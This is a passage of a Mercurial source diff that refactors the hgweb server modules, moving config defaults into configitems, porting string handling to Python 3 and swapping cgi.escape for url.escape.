+    )
+    return styles, templater.stylemap(styles, templatepath)
+
 def makebreadcrumb(url, prefix=''):
     '''Return a 'URL breadcrumb' list
 
@@ -98,11 +110,11 @@
 
         self.archivespecs = archivespecs
 
-        self.maxchanges = self.configint('web', 'maxchanges', 10)
-        self.stripecount = self.configint('web', 'stripes', 1)
-        self.maxshortchanges = self.configint('web', 'maxshortchanges', 60)
-        self.maxfiles = self.configint('web', 'maxfiles', 10)
-        self.allowpull = self.configbool('web', 'allowpull', True)
+        self.maxchanges = self.configint('web', 'maxchanges')
+        self.stripecount = self.configint('web', 'stripes')
+        self.maxshortchanges = self.configint('web', 'maxshortchanges')
+        self.maxfiles = self.configint('web', 'maxfiles')
+        self.allowpull = self.configbool('web', 'allowpull')
 
         # we use untrusted=False to prevent a repo owner from using
         # web.templates in .hg/hgrc to get access to any file readable
@@ -153,11 +165,11 @@
             proto = 'http'
             default_port = '80'
 
-        port = req.env['SERVER_PORT']
-        port = port != default_port and (':' + port) or ''
-        urlbase = '%s://%s%s' % (proto, req.env['SERVER_NAME'], port)
-        logourl = self.config('web', 'logourl', 'https://mercurial-scm.org/')
-        logoimg = self.config('web', 'logoimg', 'hglogo.png')
+        port = req.env[r'SERVER_PORT']
+        port = port != default_port and (r':' + port) or r''
+        urlbase = r'%s://%s%s' % (proto, req.env[r'SERVER_NAME'], port)
+        logourl = self.config('web', 'logourl')
+        logoimg = self.config('web', 'logoimg')
         staticurl = self.config('web', 'staticurl') or req.url + 'static/'
         if not staticurl.endswith('/'):
             staticurl += '/'
@@ -165,25 +177,21 @@
         # some functions for the templater
 
         def motd(**map):
-            yield self.config('web', 'motd', '')
+            yield self.config('web', 'motd')
 
         # figure out which style to use
 
         vars = {}
-        styles = (
-            req.form.get('style', [None])[0],
-            self.config('web', 'style'),
-            'paper',
-        )
-        style, mapfile = templater.stylemap(styles, self.templatepath)
+        styles, (style, mapfile) = getstyle(req, self.config,
+                                            self.templatepath)
         if style == styles[0]:
             vars['style'] = style
 
-        start = req.url[-1] == '?' and '&' or '?'
+        start = '&' if req.url[-1] == r'?' else '?'
         sessionvars = webutil.sessionvars(vars, start)
 
         if not self.reponame:
-            self.reponame = (self.config('web', 'name')
+            self.reponame = (self.config('web', 'name', '')
                              or req.env.get('REPO_NAME')
                              or req.url.strip('/') or self.repo.root)
 
@@ -320,7 +328,7 @@
         rctx = requestcontext(self, repo)
 
         # This state is global across all threads.
-        encoding.encoding = rctx.config('web', 'encoding', encoding.encoding)
+        encoding.encoding = rctx.config('web', 'encoding')
         rctx.repo.ui.environ = req.env
 
         if rctx.csp:
@@ -333,27 +341,27 @@
         # work with CGI variables to create coherent structure
         # use SCRIPT_NAME, PATH_INFO and QUERY_STRING as well as our REPO_NAME
 
-        req.url = req.env['SCRIPT_NAME']
+        req.url = req.env[r'SCRIPT_NAME']
         if not req.url.endswith('/'):
             req.url += '/'
         if req.env.get('REPO_NAME'):
-            req.url += req.env['REPO_NAME'] + '/'
+            req.url += req.env[r'REPO_NAME'] + r'/'
 
-        if 'PATH_INFO' in req.env:
-            parts = req.env['PATH_INFO'].strip('/').split('/')
-            repo_parts = req.env.get('REPO_NAME', '').split('/')
+        if r'PATH_INFO' in req.env:
+            parts = req.env[r'PATH_INFO'].strip('/').split('/')
+            repo_parts = req.env.get(r'REPO_NAME', r'').split(r'/')
             if parts[:len(repo_parts)] == repo_parts:
                 parts = parts[len(repo_parts):]
             query = '/'.join(parts)
         else:
-            query = req.env['QUERY_STRING'].partition('&')[0]
-            query = query.partition(';')[0]
+            query = req.env[r'QUERY_STRING'].partition(r'&')[0]
+            query = query.partition(r';')[0]
 
         # process this if it's a protocol request
         # protocol bits don't need to create any URLs
         # and the clients always use the old URL structure
 
-        cmd = req.form.get('cmd', [''])[0]
+        cmd = pycompat.sysbytes(req.form.get(r'cmd', [r''])[0])
         if protocol.iscmd(cmd):
             try:
                 if query:
@@ -370,7 +378,7 @@
                     req.env.get('X-HgHttp2', '')):
                     req.drain()
                 else:
-                    req.headers.append(('Connection', 'Close'))
+                    req.headers.append((r'Connection', r'Close'))
                 req.respond(inst, protocol.HGTYPE,
                             body='0\n%s\n' % inst)
                 return ''
@@ -378,8 +386,7 @@
         # translate user-visible url structure to internal structure
 
         args = query.split('/', 2)
-        if 'cmd' not in req.form and args and args[0]:
-
+        if r'cmd' not in req.form and args and args[0]:
             cmd = args.pop(0)
             style = cmd.rfind('-')
             if style != -1:
@@ -388,7 +395,7 @@
 
             # avoid accepting e.g. style parameter as command
             if util.safehasattr(webcommands, cmd):
-                req.form['cmd'] = [cmd]
+                req.form[r'cmd'] = [cmd]
 
             if cmd == 'static':
                 req.form['file'] = ['/'.join(args)]
@@ -423,17 +430,17 @@
                 self.check_perm(rctx, req, None)
 
             if cmd == '':
-                req.form['cmd'] = [tmpl.cache['default']]
-                cmd = req.form['cmd'][0]
+                req.form[r'cmd'] = [tmpl.cache['default']]
+                cmd = req.form[r'cmd'][0]
 
             # Don't enable caching if using a CSP nonce because then it wouldn't
             # be a nonce.
-            if rctx.configbool('web', 'cache', True) and not rctx.nonce:
+            if rctx.configbool('web', 'cache') and not rctx.nonce:
                 caching(self, req) # sets ETag header or raises NOT_MODIFIED
             if cmd not in webcommands.__all__:
                 msg = 'no such method: %s' % cmd
                 raise ErrorResponse(HTTP_BAD_REQUEST, msg)
-            elif cmd == 'file' and 'raw' in req.form.get('style', []):
+            elif cmd == 'file' and r'raw' in req.form.get(r'style', []):
                 rctx.ctype = ctype
                 content = webcommands.rawfile(rctx, req, tmpl)
             else:
@@ -474,8 +481,8 @@
 
     The option has been around undocumented since Mercurial 2.5, but no
     user ever asked about it. So we better keep it undocumented for now."""
-    viewconfig = repo.ui.config('web', 'view', 'served',
-                                untrusted=True)
+    # experimental config: web.view
+    viewconfig = repo.ui.config('web', 'view', untrusted=True)
     if viewconfig == 'all':
         return repo.unfiltered()
     elif viewconfig in repoview.filtertable:
diff --git a/mercurial/hgweb/hgwebdir_mod.py b/mercurial/hgweb/hgwebdir_mod.py
--- a/mercurial/hgweb/hgwebdir_mod.py
+++ b/mercurial/hgweb/hgwebdir_mod.py
@@ -29,10 +29,12 @@
 from .request import wsgirequest
 
 from .. import (
+    configitems,
     encoding,
     error,
     hg,
     profiling,
+    pycompat,
     scmutil,
     templater,
     ui as uimod,
@@ -70,9 +72,9 @@
     """yield url paths and filesystem paths from a list of repo paths
 
     >>> conv = lambda seq: [(v, util.pconvert(p)) for v,p in seq]
-    >>> conv(urlrepos('hg', '/opt', ['/opt/r', '/opt/r/r', '/opt']))
+    >>> conv(urlrepos(b'hg', b'/opt', [b'/opt/r', b'/opt/r/r', b'/opt']))
     [('hg/r', '/opt/r'), ('hg/r/r', '/opt/r/r'), ('hg', '/opt')]
-    >>> conv(urlrepos('', '/opt', ['/opt/r', '/opt/r/r', '/opt']))
+    >>> conv(urlrepos(b'', b'/opt', [b'/opt/r', b'/opt/r/r', b'/opt']))
     [('r', '/opt/r'), ('r/r', '/opt/r/r'), ('', '/opt')]
     """
     for path in paths:
@@ -84,17 +86,17 @@
     """
     Extract CGI variables from baseurl
 
-    >>> geturlcgivars("http://host.org/base", "80")
+    >>> geturlcgivars(b"http://host.org/base", b"80")
     ('host.org', '80', '/base')
-    >>> geturlcgivars("http://host.org:8000/base", "80")
+    >>> geturlcgivars(b"http://host.org:8000/base", b"80")
     ('host.org', '8000', '/base')
-    >>> geturlcgivars('/base', 8000)
+    >>> geturlcgivars(b'/base', 8000)
     ('', '8000', '/base')
-    >>> geturlcgivars("base", '8000')
+    >>> geturlcgivars(b"base", b'8000')
     ('', '8000', '/base')
-    >>> geturlcgivars("http://host", '8000')
+    >>> geturlcgivars(b"http://host", b'8000')
     ('host', '8000', '/')
-    >>> geturlcgivars("http://host/", '8000')
+    >>> geturlcgivars(b"http://host/", b'8000')
     ('host', '8000', '/')
     """
     u = util.url(baseurl)
@@ -105,7 +107,7 @@
     if not path.startswith('/'):
         path = '/' + path
 
-    return name, str(port), path
+    return name, pycompat.bytestr(port), path
 
 class hgwebdir(object):
     """HTTP server for multiple repositories.
@@ -124,10 +126,11 @@
         self.refresh()
 
     def refresh(self):
-        refreshinterval = 20
         if self.ui:
-            refreshinterval = self.ui.configint('web', 'refreshinterval',
-                                                refreshinterval)
+            refreshinterval = self.ui.configint('web', 'refreshinterval')
+        else:
+            item = configitems.coreitems['web']['refreshinterval']
+            refreshinterval = item.default
 
         # refreshinterval <= 0 means to always refresh.
         if (refreshinterval > 0 and
@@ -170,16 +173,14 @@
 
         self.repos = repos
         self.ui = u
-        encoding.encoding = self.ui.config('web', 'encoding',
-                                           encoding.encoding)
-        self.style = self.ui.config('web', 'style', 'paper')
-        self.templatepath = self.ui.config('web', 'templates', None,
-                                           untrusted=False)
-        self.stripecount = self.ui.config('web', 'stripes', 1)
+        encoding.encoding = self.ui.config('web', 'encoding')
+        self.style = self.ui.config('web', 'style')
+        self.templatepath = self.ui.config('web', 'templates', untrusted=False)
+        self.stripecount = self.ui.config('web', 'stripes')
         if self.stripecount:
             self.stripecount = int(self.stripecount)
         self._baseurl = self.ui.config('web', 'baseurl')
-        prefix = self.ui.config('web', 'prefix', '')
+        prefix = self.ui.config('web', 'prefix')
         if prefix.startswith('/'):
             prefix = prefix[1:]
         if prefix.endswith('/'):
@@ -290,10 +291,10 @@
                         repo = hg.repository(self.ui.copy(), real)
                         return hgweb_mod.hgweb(repo).run_wsgi(req)
                     except IOError as inst:
-                        msg = inst.strerror
+                        msg = encoding.strtolocal(inst.strerror)
                         raise ErrorResponse(HTTP_SERVER_ERROR, msg)
                     except error.RepoError as inst:
-                        raise ErrorResponse(HTTP_SERVER_ERROR, str(inst))
+                        raise ErrorResponse(HTTP_SERVER_ERROR, bytes(inst))
 
             # browse subdirectories
             subdir = virtual + '/'
@@ -319,14 +320,14 @@
             for typ, spec in hgweb_mod.archivespecs.iteritems():
                 if typ in allowed or ui.configbool("web", "allow" + typ,
                                                     untrusted=True):
-                    archives.append({"type" : typ, "extension": spec[2],
+                    archives.append({"type": typ, "extension": spec[2],
                                      "node": nodeid, "url": url})
             return archives
 
         def rawentries(subdir="", **map):
 
-            descend = self.ui.configbool('web', 'descend', True)
-            collapse = self.ui.configbool('web', 'collapse', False)
+            descend = self.ui.configbool('web', 'descend')
+            collapse = self.ui.configbool('web', 'collapse')
             seenrepos = set()
             seendirs = set()
             for name, path in self.repos:
@@ -429,7 +430,7 @@
                     continue
 
                 contact = get_contact(get)
-                description = get("web", "description", "")
+                description = get("web", "description")
                 seenrepos.add(name)
                 name = get("web", "name", name)
                 row = {'contact': contact or "unknown",
@@ -490,9 +491,9 @@
             if self.motd is not None:
                 yield self.motd
             else:
-                yield config('web', 'motd', '')
+                yield config('web', 'motd')
 
-        def config(section, name, default=None, untrusted=True):
+        def config(section, name, default=uimod._unset, untrusted=True):
             return self.ui.config(section, name, default, untrusted)
 
         self.updatereqenv(req.env)
@@ -502,19 +503,15 @@
             url += '/'
 
         vars = {}
-        styles = (
-            req.form.get('style', [None])[0],
-            config('web', 'style'),
-            'paper'
-        )
-        style, mapfile = templater.stylemap(styles, self.templatepath)
+        styles, (style, mapfile) = hgweb_mod.getstyle(req, config,
+                                                      self.templatepath)
         if style == styles[0]:
             vars['style'] = style
 
-        start = url[-1] == '?' and '&' or '?'
+        start = r'&' if url[-1] == r'?' else r'?'
         sessionvars = webutil.sessionvars(vars, start)
-        logourl = config('web', 'logourl', 'https://mercurial-scm.org/')
-        logoimg = config('web', 'logoimg', 'hglogo.png')
+        logourl = config('web', 'logourl')
+        logoimg = config('web', 'logoimg')
         staticurl = config('web', 'staticurl') or url + 'static/'
         if not staticurl.endswith('/'):
             staticurl += '/'
diff --git a/mercurial/hgweb/protocol.py b/mercurial/hgweb/protocol.py
--- a/mercurial/hgweb/protocol.py
+++ b/mercurial/hgweb/protocol.py
@@ -15,6 +15,8 @@
 )
 
 from .. import (
+    error,
+    pycompat,
     util,
     wireproto,
 )
@@ -28,15 +30,18 @@
 HGERRTYPE = 'application/hg-error'
 
 def decodevaluefromheaders(req, headerprefix):
-    """Decode a long value from multiple HTTP request headers."""
+    """Decode a long value from multiple HTTP request headers.
+
+    Returns the value as a bytes, not a str.
+    """
     chunks = []
     i = 1
+    prefix = headerprefix.upper().replace(r'-', r'_')
     while True:
-        v = req.env.get('HTTP_%s_%d' % (
-            headerprefix.upper().replace('-', '_'), i))
+        v = req.env.get(r'HTTP_%s_%d' % (prefix, i))
         if v is None:
             break
-        chunks.append(v)
+        chunks.append(pycompat.bytesurl(v))
         i += 1
 
     return ''.join(chunks)
@@ -64,17 +69,23 @@
         return [data[k] for k in keys]
     def _args(self):
         args = self.req.form.copy()
-        postlen = int(self.req.env.get('HTTP_X_HGARGS_POST', 0))
+        if pycompat.ispy3:
+            args = {k.encode('ascii'): [v.encode('ascii') for v in vs]
+                    for k, vs in args.items()}
+        postlen = int(self.req.env.get(r'HTTP_X_HGARGS_POST', 0))
         if postlen:
             args.update(cgi.parse_qs(
                 self.req.read(postlen), keep_blank_values=True))
             return args
 
-        argvalue = decodevaluefromheaders(self.req, 'X-HgArg')
+        argvalue = decodevaluefromheaders(self.req, r'X-HgArg')
         args.update(cgi.parse_qs(argvalue, keep_blank_values=True))
         return args
     def getfile(self, fp):
-        length = int(self.req.env['CONTENT_LENGTH'])
+        length = int(self.req.env[r'CONTENT_LENGTH'])
+        # If httppostargs is used, we need to read Content-Length
+        # minus the amount that was consumed by args.
+        length -= int(self.req.env.get(r'HTTP_X_HGARGS_POST', 0))
         for s in util.filechunkiter(self.req, limit=length):
             fp.write(s)
     def redirect(self):
@@ -107,7 +118,7 @@
 
         # Determine the response media type and compression engine based
         # on the request parameters.
-        protocaps = decodevaluefromheaders(self.req, 'X-HgProto').split(' ')
+        protocaps = decodevaluefromheaders(self.req, r'X-HgProto').split(' ')
 
         if '0.2' in protocaps:
             # Default as defined by wire protocol spec.
@@ -160,7 +171,7 @@
                 yield chunk
 
     rsp = wireproto.dispatch(repo, p, cmd)
-    if isinstance(rsp, str):
+    if isinstance(rsp, bytes):
         req.respond(HTTP_OK, HGTYPE, body=rsp)
         return []
     elif isinstance(rsp, wireproto.streamres):
@@ -196,3 +207,4 @@
         rsp = rsp.message
         req.respond(HTTP_OK, HGERRTYPE, body=rsp)
         return []
+    raise error.ProgrammingError('hgweb.protocol internal failure', rsp)
diff --git a/mercurial/hgweb/request.py b/mercurial/hgweb/request.py
--- a/mercurial/hgweb/request.py
+++ b/mercurial/hgweb/request.py
@@ -19,6 +19,7 @@
 )
 
 from .. import (
+    pycompat,
     util,
 )
 
@@ -39,7 +40,7 @@
 
 def normalize(form):
     # first expand the shortcuts
-    for k in shortcuts.iterkeys():
+    for k in shortcuts:
         if k in form:
             for name, value in shortcuts[k]:
                 if value is None:
@@ -59,15 +60,15 @@
     for obtaining request parameters, writing HTTP output, etc.
     """
     def __init__(self, wsgienv, start_response):
-        version = wsgienv['wsgi.version']
+        version = wsgienv[r'wsgi.version']
         if (version < (1, 0)) or (version >= (2, 0)):
             raise RuntimeError("Unknown and unsupported WSGI version %d.%d"
                                % version)
-        self.inp = wsgienv['wsgi.input']
-        self.err = wsgienv['wsgi.errors']
-        self.threaded = wsgienv['wsgi.multithread']
-        self.multiprocess = wsgienv['wsgi.multiprocess']
-        self.run_once = wsgienv['wsgi.run_once']
+        self.inp = wsgienv[r'wsgi.input']
+        self.err = wsgienv[r'wsgi.errors']
+        self.threaded = wsgienv[r'wsgi.multithread']
+        self.multiprocess = wsgienv[r'wsgi.multiprocess']
+        self.run_once = wsgienv[r'wsgi.run_once']
         self.env = wsgienv
         self.form = normalize(cgi.parse(self.inp,
                                         self.env,
@@ -89,15 +90,17 @@
             pass
 
     def respond(self, status, type, filename=None, body=None):
+        if not isinstance(type, str):
+            type = pycompat.sysstr(type)
         if self._start_response is not None:
-            self.headers.append(('Content-Type', type))
+            self.headers.append((r'Content-Type', type))
             if filename:
                 filename = (filename.rpartition('/')[-1]
                             .replace('\\', '\\\\').replace('"', '\\"'))
                 self.headers.append(('Content-Disposition',
                                      'inline; filename="%s"' % filename))
             if body is not None:
-                self.headers.append(('Content-Length', str(len(body))))
+                self.headers.append((r'Content-Length', str(len(body))))
 
             for k, v in self.headers:
                 if not isinstance(v, str):
diff --git a/mercurial/hgweb/server.py b/mercurial/hgweb/server.py
--- a/mercurial/hgweb/server.py
+++ b/mercurial/hgweb/server.py
@@ -17,6 +17,7 @@
 from ..i18n import _
 
 from .. import (
+    encoding,
     error,
     pycompat,
     util,
@@ -37,10 +38,10 @@
     Just like CGI environment, the path is unquoted, the query is
     not.
     """
-    if '?' in uri:
-        path, query = uri.split('?', 1)
+    if r'?' in uri:
+        path, query = uri.split(r'?', 1)
     else:
-        path, query = uri, ''
+        path, query = uri, r''
     return urlreq.unquote(path), query
 
 class _error_logger(object):
@@ -61,16 +62,16 @@
     @staticmethod
     def preparehttpserver(httpserver, ui):
         """Prepare .socket of new HTTPServer instance"""
-        pass
 
     def __init__(self, *args, **kargs):
-        self.protocol_version = 'HTTP/1.1'
+        self.protocol_version = r'HTTP/1.1'
         httpservermod.basehttprequesthandler.__init__(self, *args, **kargs)
 
     def _log_any(self, fp, format, *args):
-        fp.write("%s - - [%s] %s\n" % (self.client_address[0],
-                                       self.log_date_time_string(),
-                                       format % args))
+        fp.write(pycompat.sysbytes(
+            r"%s - - [%s] %s" % (self.client_address[0],
+                                 self.log_date_time_string(),
+                                 format % args)) + '\n')
         fp.flush()
 
     def log_error(self, format, *args):
@@ -79,14 +80,14 @@
     def log_message(self, format, *args):
         self._log_any(self.server.accesslog, format, *args)
 
-    def log_request(self, code='-', size='-'):
+    def log_request(self, code=r'-', size=r'-'):
         xheaders = []
         if util.safehasattr(self, 'headers'):
             xheaders = [h for h in self.headers.items()
-                        if h[0].startswith('x-')]
-        self.log_message('"%s" %s %s%s',
+                        if h[0].startswith(r'x-')]
+        self.log_message(r'"%s" %s %s%s',
                          self.requestline, str(code), str(size),
-                         ''.join([' %s:%s' % h for h in sorted(xheaders)]))
+                         r''.join([r' %s:%s' % h for h in sorted(xheaders)]))
 
     def do_write(self):
         try:
@@ -102,60 +103,71 @@
             self._start_response("500 Internal Server Error", [])
             self._write("Internal Server Error")
             self._done()
-            tb = "".join(traceback.format_exception(*sys.exc_info()))
-            self.log_error("Exception happened during processing "
-                           "request '%s':\n%s", self.path, tb)
+            tb = r"".join(traceback.format_exception(*sys.exc_info()))
+            # We need a native-string newline to poke in the log
+            # message, because we won't get a newline when using an
+            # r-string. This is the easy way out.
+            newline = chr(10)
+            self.log_error(r"Exception happened during processing "
+                           r"request '%s':%s%s", self.path, newline, tb)
 
     def do_GET(self):
         self.do_POST()
 
     def do_hgweb(self):
+        self.sent_headers = False
         path, query = _splitURI(self.path)
 
         env = {}
-        env['GATEWAY_INTERFACE'] = 'CGI/1.1'
-        env['REQUEST_METHOD'] = self.command
-        env['SERVER_NAME'] = self.server.server_name
-        env['SERVER_PORT'] = str(self.server.server_port)
-        env['REQUEST_URI'] = self.path
-        env['SCRIPT_NAME'] = self.server.prefix
-        env['PATH_INFO'] = path[len(self.server.prefix):]
-        env['REMOTE_HOST'] = self.client_address[0]
-        env['REMOTE_ADDR'] = self.client_address[0]
+        env[r'GATEWAY_INTERFACE'] = r'CGI/1.1'
+        env[r'REQUEST_METHOD'] = self.command
+        env[r'SERVER_NAME'] = self.server.server_name
+        env[r'SERVER_PORT'] = str(self.server.server_port)
+        env[r'REQUEST_URI'] = self.path
+        env[r'SCRIPT_NAME'] = self.server.prefix
+        env[r'PATH_INFO'] = path[len(self.server.prefix):]
+        env[r'REMOTE_HOST'] = self.client_address[0]
+        env[r'REMOTE_ADDR'] = self.client_address[0]
         if query:
-            env['QUERY_STRING'] = query
+            env[r'QUERY_STRING'] = query
 
-        if self.headers.typeheader is None:
-            env['CONTENT_TYPE'] = self.headers.type
+        if pycompat.ispy3:
+            if self.headers.get_content_type() is None:
+                env[r'CONTENT_TYPE'] = self.headers.get_default_type()
+            else:
+                env[r'CONTENT_TYPE'] = self.headers.get_content_type()
+            length = self.headers.get('content-length')
         else:
-            env['CONTENT_TYPE'] = self.headers.typeheader
-        length = self.headers.getheader('content-length')
+            if self.headers.typeheader is None:
+                env[r'CONTENT_TYPE'] = self.headers.type
+            else:
+                env[r'CONTENT_TYPE'] = self.headers.typeheader
+            length = self.headers.getheader('content-length')
         if length:
-            env['CONTENT_LENGTH'] = length
+            env[r'CONTENT_LENGTH'] = length
         for header in [h for h in self.headers.keys()
                        if h not in ('content-type', 'content-length')]:
-            hkey = 'HTTP_' + header.replace('-', '_').upper()
-            hval = self.headers.getheader(header)
-            hval = hval.replace('\n', '').strip()
+            hkey = r'HTTP_' + header.replace(r'-', r'_').upper()
+            hval = self.headers.get(header)
+            hval = hval.replace(r'\n', r'').strip()
             if hval:
                 env[hkey] = hval
-        env['SERVER_PROTOCOL'] = self.request_version
-        env['wsgi.version'] = (1, 0)
-        env['wsgi.url_scheme'] = self.url_scheme
-        if env.get('HTTP_EXPECT', '').lower() == '100-continue':
+        env[r'SERVER_PROTOCOL'] = self.request_version
+        env[r'wsgi.version'] = (1, 0)
+        env[r'wsgi.url_scheme'] = self.url_scheme
+        if env.get(r'HTTP_EXPECT', '').lower() == '100-continue':
             self.rfile = common.continuereader(self.rfile, self.wfile.write)
 
-        env['wsgi.input'] = self.rfile
-        env['wsgi.errors'] = _error_logger(self)
-        env['wsgi.multithread'] = isinstance(self.server,
+        env[r'wsgi.input'] = self.rfile
+        env[r'wsgi.errors'] = _error_logger(self)
+        env[r'wsgi.multithread'] = isinstance(self.server,
                                              socketserver.ThreadingMixIn)
-        env['wsgi.multiprocess'] = isinstance(self.server,
+        env[r'wsgi.multiprocess'] = isinstance(self.server,
                                               socketserver.ForkingMixIn)
-        env['wsgi.run_once'] = 0
+        env[r'wsgi.run_once'] = 0
 
         self.saved_status = None
         self.saved_headers = []
-        self.sent_headers = False
         self.length = None
         self._chunked = None
         for chunk in self.server.application(env, self._start_response):
@@ -182,9 +194,9 @@
             self._chunked = (not self.close_connection and
                              self.request_version == "HTTP/1.1")
             if self._chunked:
-                self.send_header('Transfer-Encoding', 'chunked')
+                self.send_header(r'Transfer-Encoding', r'chunked')
             else:
-                self.send_header('Connection', 'close')
+                self.send_header(r'Connection', r'close')
         self.end_headers()
         self.sent_headers = True
 
@@ -267,7 +279,7 @@
 class MercurialHTTPServer(_mixin, httpservermod.httpserver, object):
 
     # SO_REUSEADDR has broken semantics on windows
-    if pycompat.osname == 'nt':
+    if pycompat.iswindows:
         allow_reuse_address = 0
 
     def __init__(self, ui, app, addr, handler, **kwargs):
@@ -277,13 +289,13 @@
 
         handler.preparehttpserver(self, ui)
 
-        prefix = ui.config('web', 'prefix', '')
+        prefix = ui.config('web', 'prefix')
         if prefix:
             prefix = '/' + prefix.strip('/')
         self.prefix = prefix
 
-        alog = openlog(ui.config('web', 'accesslog', '-'), ui.fout)
-        elog = openlog(ui.config('web', 'errorlog', '-'), ui.ferr)
+        alog = openlog(ui.config('web', 'accesslog'), ui.fout)
+        elog = openlog(ui.config('web', 'errorlog'), ui.ferr)
         self.accesslog = alog
         self.errorlog = elog
 
@@ -326,10 +338,10 @@
         mimetypes.init()
         sys.setdefaultencoding(oldenc)
 
-    address = ui.config('web', 'address', '')
-    port = util.getport(ui.config('web', 'port', 8000))
+    address = ui.config('web', 'address')
+    port = util.getport(ui.config('web', 'port'))
     try:
         return cls(ui, app, (address, port), handler)
     except socket.error as inst:
         raise error.Abort(_("cannot start server at '%s:%d': %s")
-                         % (address, port, inst.args[1]))
+                          % (address, port, encoding.strtolocal(inst.args[1])))
diff --git a/mercurial/hgweb/webcommands.py b/mercurial/hgweb/webcommands.py
--- a/mercurial/hgweb/webcommands.py
+++ b/mercurial/hgweb/webcommands.py
@@ -7,7 +7,6 @@
 
 from __future__ import absolute_import
 
-import cgi
 import copy
 import mimetypes
 import os
@@ -32,12 +31,14 @@
     encoding,
     error,
     graphmod,
+    pycompat,
     revset,
     revsetlang,
     scmutil,
     smartset,
     templatefilters,
     templater,
+    url,
     util,
 )
 
@@ -93,7 +94,7 @@
 
 @webcommand('rawfile')
 def rawfile(web, req, tmpl):
-    guessmime = web.configbool('web', 'guessmime', False)
+    guessmime = web.configbool('web', 'guessmime')
 
     path = webutil.cleanpath(web.repo, req.form.get('file', [''])[0])
     if not path:
@@ -719,8 +720,11 @@
     start = max(0, count - web.maxchanges)
     end = min(count, start + web.maxchanges)
 
+    desc = web.config("web", "description")
+    if not desc:
+        desc = 'unknown'
     return tmpl("summary",
-                desc=web.config("web", "description", "unknown"),
+                desc=desc,
                 owner=get_contact(web.config) or "unknown",
                 lastchange=tip.date(),
                 tags=tagentries,
@@ -759,7 +763,7 @@
         ctx = fctx.changectx()
     basectx = ctx.p1()
 
-    style = web.config('web', 'style', 'paper')
+    style = web.config('web', 'style')
     if 'style' in req.form:
         style = req.form['style'][0]
 
@@ -860,6 +864,13 @@
 
     Show changeset information for each line in a file.
 
+    The ``ignorews``, ``ignorewsamount``, ``ignorewseol``, and
+    ``ignoreblanklines`` query string arguments have the same meaning as
+    their ``[annotate]`` config equivalents. It uses the hgrc boolean
+    parsing logic to interpret the value. e.g. ``0`` and ``false`` are
+    false and ``1`` and ``true`` are true. If not defined, the server
+    default settings are used.
+
     The ``fileannotate`` template is rendered.
     """
     fctx = webutil.filectx(web.repo, req)
@@ -892,11 +903,12 @@
                   or 'application/octet-stream')
             lines = [((fctx.filectx(fctx.filerev()), 1), '(binary:%s)' % mt)]
         else:
-            lines = webutil.annotate(fctx, web.repo.ui)
+            lines = webutil.annotate(req, fctx, web.repo.ui)
 
         previousrev = None
         blockparitygen = paritygen(1)
-        for lineno, ((f, targetline), l) in enumerate(lines):
+        for lineno, (aline, l) in enumerate(lines):
+            f = aline.fctx
             rev = f.rev()
             if rev != previousrev:
                 blockhead = True
@@ -914,13 +926,16 @@
                    "file": f.path(),
                    "blockhead": blockhead,
                    "blockparity": blockparity,
-                   "targetline": targetline,
+                   "targetline": aline.lineno,
                    "line": l,
                    "lineno": lineno + 1,
                    "lineid": "l%d" % (lineno + 1),
                    "linenumber": "% 6d" % (lineno + 1),
                    "revdate": f.date()}
 
+    diffopts = webutil.difffeatureopts(req, web.repo.ui, 'annotate')
+    diffopts = {k: getattr(diffopts, k) for k in diffopts.defaults}
+
     return tmpl("fileannotate",
                 file=f,
                 annotate=annotate,
@@ -929,6 +944,7 @@
                 rename=webutil.renamelink(fctx),
                 permissions=fctx.manifest().flags(f),
                 ishead=int(ishead),
+                diffopts=diffopts,
                 **webutil.commonentry(web.repo, fctx))
 
 @webcommand('filelog')
@@ -996,7 +1012,7 @@
     revs = fctx.filelog().revs(start, end - 1)
     entries = []
 
-    diffstyle = web.config('web', 'style', 'paper')
+    diffstyle = web.config('web', 'style')
     if 'style' in req.form:
         diffstyle = req.form['style'][0]
 
@@ -1098,7 +1114,7 @@
         raise ErrorResponse(HTTP_NOT_FOUND, msg)
 
     if not ((type_ in allowed or
-        web.configbool("web", "allow" + type_, False))):
+             web.configbool("web", "allow" + type_))):
         msg = 'Archive type not allowed: %s' % type_
         raise ErrorResponse(HTTP_FORBIDDEN, msg)
 
@@ -1111,13 +1127,13 @@
 
     ctx = webutil.changectx(web.repo, req)
     pats = []
-    matchfn = scmutil.match(ctx, [])
+    match = scmutil.match(ctx, [])
     file = req.form.get('file', None)
     if file:
         pats = ['path:' + file[0]]
-        matchfn = scmutil.match(ctx, pats, default='path')
+        match = scmutil.match(ctx, pats, default='path')
         if pats:
-            files = [f for f in ctx.manifest().keys() if matchfn(f)]
+            files = [f for f in ctx.manifest().keys() if match(f)]
             if not files:
                 raise ErrorResponse(HTTP_NOT_FOUND,
                     'file(s) not found: %s' % file[0])
@@ -1132,7 +1148,7 @@
     req.respond(HTTP_OK, mimetype)
 
     archival.archive(web.repo, req, cnode, artype, prefix=name,
-                     matchfn=matchfn,
+                     matchfn=match,
                      subrepos=web.configbool("web", "archivesubrepos"))
     return []
 
@@ -1232,12 +1248,12 @@
         for (id, type, ctx, vtx, edges) in tree:
             if type != graphmod.CHANGESET:
                 continue
-            node = str(ctx)
+            node = pycompat.bytestr(ctx)
             age = encodestr(templatefilters.age(ctx.date()))
             desc = templatefilters.firstline(encodestr(ctx.description()))
-            desc = cgi.escape(templatefilters.nonempty(desc))
-            user = cgi.escape(templatefilters.person(encodestr(ctx.user())))
-            branch = cgi.escape(encodestr(ctx.branch()))
+            desc = url.escape(templatefilters.nonempty(desc))
+            user = url.escape(templatefilters.person(encodestr(ctx.user())))
+            branch = url.escape(encodestr(ctx.branch()))
             try:
                 branchnode = web.repo.branchtip(branch)
             except error.RepoLookupError:
@@ -1246,8 +1262,8 @@
 
             if usetuples:
                 data.append((node, vtx, edges, desc, user, age, branch,
-                             [cgi.escape(encodestr(x)) for x in ctx.tags()],
-                             [cgi.escape(encodestr(x))
+                             [url.escape(encodestr(x)) for x in ctx.tags()],
+                             [url.escape(encodestr(x))
                               for x in ctx.bookmarks()]))
             else:
                 edgedata = [{'col': edge[0], 'nextcol': edge[1],
@@ -1288,7 +1304,7 @@
                 canvasheight=canvasheight, bg_height=bg_height,
                 # {jsdata} will be passed to |json, so it must be in utf-8
                 jsdata=lambda **x: graphdata(True, encoding.fromlocal),
-                nodes=lambda **x: graphdata(False, str),
+                nodes=lambda **x: graphdata(False, pycompat.bytestr),
                 node=ctx.hex(), changenav=changenav)
 
 def _getdoc(e):
diff --git a/mercurial/hgweb/webutil.py b/mercurial/hgweb/webutil.py
--- a/mercurial/hgweb/webutil.py
